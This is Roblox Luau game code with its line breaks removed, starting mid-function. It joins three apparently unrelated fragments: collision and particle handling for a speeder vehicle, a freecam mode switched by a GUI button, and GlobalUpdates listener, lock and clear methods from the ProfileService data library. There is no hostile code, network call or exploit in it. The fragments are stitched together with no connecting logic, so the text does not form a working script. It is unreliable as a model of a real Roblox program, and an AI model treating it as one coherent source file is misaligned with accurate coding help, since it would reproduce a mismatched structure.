emit if child:IsA("ParticleEmitter") then child:Emit(10) end end -- Destroy particle after PARTICLE_DURATION seconds spawn(function() wait(PARTICLE_DURATION) particle:Destroy() end) -- Convert speeder to player spawn(function() wait(2) PlayerConverter:SpeederToPlayer(false) end) end end -- handleCollisions() local function SetupCollisionDetection(parent, self) for _,part in pairs(parent:GetChildren()) do if (part:IsA("BasePart") or part:IsA("MeshPart")) and part.Name ~= "Head" and part.Name ~= "UpperTorso" and part.Name ~= "Arrow" then part.Touched:Connect(function(collidedPart) HandleCollision(collidedPart, part, self) end) SetupCollisionDetection(part, self) end end end -- setupCollisionDetection()
------------------------------------------------
local function EnterFreecam() ToggleGui(false) --UIS.MouseIconEnabled = false Maid:Mark(UIS.InputBegan:Connect(function(input, processed) if input.UserInputType == Enum.UserInputType.MouseButton2 then UIS.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition local conn = UIS.InputChanged:Connect(Panned) repeat input = UIS.InputEnded:wait() until input.UserInputType == Enum.UserInputType.MouseButton2 or not freeCamEnabled panDeltaMouse = Vector2.new() panDeltaGamepad = Vector2.new() conn:Disconnect() if freeCamEnabled then UIS.MouseBehavior = Enum.MouseBehavior.Default end elseif input.KeyCode == Enum.KeyCode.LeftShift or input.KeyCode == Enum.KeyCode.RightShift then SpeedModifier = 0.5 end end)) Maid:Mark(UIS.InputEnded:Connect(function(input, processed) if input.KeyCode == Enum.KeyCode.LeftShift or input.KeyCode == Enum.KeyCode.RightShift then SpeedModifier = 1 end end)) camera.CameraType = Enum.CameraType.Scriptable local hum, hrp = GetChar() if hrp then hrp.Anchored = true end if hum then hum.WalkSpeed = 0 Maid:Mark(hum.Jumping:Connect(function(active) if active then hum.Jumping = false end end)) end velSpring.t, velSpring.v, velSpring.x = Vector3.new(), Vector3.new(), Vector3.new() rotSpring.t, rotSpring.v, rotSpring.x = Vector2.new(), Vector2.new(), Vector2.new() fovSpring.t, fovSpring.v, fovSpring.x = camera.FieldOfView, 0, camera.FieldOfView local camCFrame = camera.CFrame local lookVector = camCFrame.lookVector.unit stateRot = Vector2.new( math.asin(lookVector.y), math.atan2(-lookVector.z, lookVector.x) - math.pi/2 ) panDeltaMouse = Vector2.new() local playerGui = player:WaitForChild("PlayerGui") for _, obj in next, playerGui:GetChildren() do if obj:IsA("ScreenGui") and obj.Enabled then obj.Enabled = false screenGuis[obj] = true end end if LETTERBOX then letterbox.Enabled = true end RS:BindToRenderStep("Freecam", Enum.RenderPriority.Camera.Value, UpdateFreecam) freeCamEnabled = true end local function ExitFreecam() freeCamEnabled = false if LETTERBOX then letterbox.Enabled = false end --UIS.MouseIconEnabled = true UIS.MouseBehavior = Enum.MouseBehavior.Default Maid:Sweep() RS:UnbindFromRenderStep("Freecam") local hum, hrp = GetChar() if hum then hum.WalkSpeed = 16 end if hrp then hrp.Anchored = false end camera.FieldOfView = DEF_FOV camera.CameraType = Enum.CameraType.Custom for obj in next, screenGuis do obj.Enabled = true end screenGuis = {} ToggleGui(true) end script.Parent.RightFrame.Button.Activated:Connect(function() task.wait(0.05) if Debounce then script.Parent.RightFrame.Button.Point:TweenPosition(UDim2.new(0.07, 0,0.108, 0), Enum.EasingDirection.InOut, Enum.EasingStyle.Linear, 0.15) TweenService:Create(script.Parent.RightFrame.Button, TweenInfo.new(0.35, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), { BackgroundColor3 = Color3.fromRGB(95, 95, 95) }):Play() ExitFreecam() Debounce = not Debounce else script.Parent.RightFrame.Button.Point:TweenPosition(UDim2.new(0.57, 0,0.108, 0), Enum.EasingDirection.InOut, Enum.EasingStyle.Linear, 0.15) TweenService:Create(script.Parent.RightFrame.Button, TweenInfo.new(0.35, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), { BackgroundColor3 = Color3.fromRGB(255, 85, 0) }):Play() EnterFreecam() Players.LocalPlayer.PlayerGui.ContentCreator.Enabled = true Debounce = not Debounce end end)
-- ONLY WHEN FROM "Profile.GlobalUpdates":
function GlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] listener(update_id, update_data) if type(listener) ~= "function" then error("[ProfileService]: Only a function can be set as listener in GlobalUpdates:ListenToNewActiveUpdate()") end local profile = self._profile if self._update_handler_mode == true then error("[ProfileService]: Can't listen to new global updates in ProfileStore:GlobalUpdateProfileAsync()") elseif self._new_active_update_listeners == nil then error("[ProfileService]: Can't listen to new global updates in view mode") elseif profile:IsActive() == false then -- Check if profile is expired return { -- Do not connect listener if the profile is expired Disconnect = function() end, } end -- Connect listener: return self._new_active_update_listeners:Connect(listener) end function GlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] listener(update_id, update_data) if type(listener) ~= "function" then error("[ProfileService]: Only a function can be set as listener in GlobalUpdates:ListenToNewLockedUpdate()") end local profile = self._profile if self._update_handler_mode == true then error("[ProfileService]: Can't listen to new global updates in ProfileStore:GlobalUpdateProfileAsync()") elseif self._new_locked_update_listeners == nil then error("[ProfileService]: Can't listen to new global updates in view mode") elseif profile:IsActive() == false then -- Check if profile is expired return { -- Do not connect listener if the profile is expired Disconnect = function() end, } end -- Connect listener: return self._new_locked_update_listeners:Connect(listener) end function GlobalUpdates:LockActiveUpdate(update_id) if type(update_id) ~= "number" then error("[ProfileService]: Invalid update_id") end local profile = self._profile if self._update_handler_mode == true then error("[ProfileService]: Can't lock active global updates in ProfileStore:GlobalUpdateProfileAsync()") elseif self._pending_update_lock == nil then error("[ProfileService]: Can't lock active global updates in view mode") elseif profile:IsActive() == false then -- Check if profile is expired error("[ProfileService]: PROFILE EXPIRED - Can't lock active global updates") end -- Check if global update exists with given update_id local global_update_exists = nil for _, global_update in ipairs(self._updates_latest[2]) do if global_update[1] == update_id then global_update_exists = global_update break end end if global_update_exists ~= nil then local is_pending_lock = false for _, lock_update_id in ipairs(self._pending_update_lock) do if update_id == lock_update_id then is_pending_lock = true -- Exclude global updates pending to be locked break end end if is_pending_lock == false and global_update_exists[3] == false then -- Avoid id duplicates in _pending_update_lock table.insert(self._pending_update_lock, update_id) end else error("[ProfileService]: Passed non-existant update_id") end end function GlobalUpdates:ClearLockedUpdate(update_id) if type(update_id) ~= "number" then error("[ProfileService]: Invalid update_id") end local profile = self._profile if self._update_handler_mode == true then error("[ProfileService]: Can't clear locked global updates in ProfileStore:GlobalUpdateProfileAsync()") elseif self._pending_update_clear == nil then error("[ProfileService]: Can't clear locked global updates in view mode") elseif profile:IsActive() == false then -- Check if profile is expired error("[ProfileService]: PROFILE EXPIRED - Can't clear locked global updates") end -- Check if global update exists with given update_id local global_update_exists = nil for _, global_update in ipairs(self._updates_latest[2]) do if global_update[1] == update_id then global_update_exists = global_update break end end if global_update_exists ~= nil then local is_pending_clear = false for _, clear_update_id in ipairs(self._pending_update_clear) do if update_id == clear_update_id then is_pending_clear = true -- Exclude global updates pending to be cleared break end end if is_pending_clear == false and global_update_exists[3] == true then -- Avoid id duplicates in _pending_update_clear table.insert(self._pending_update_clear, update_id) end else error("[ProfileService]: Passed non-existant update_id") end end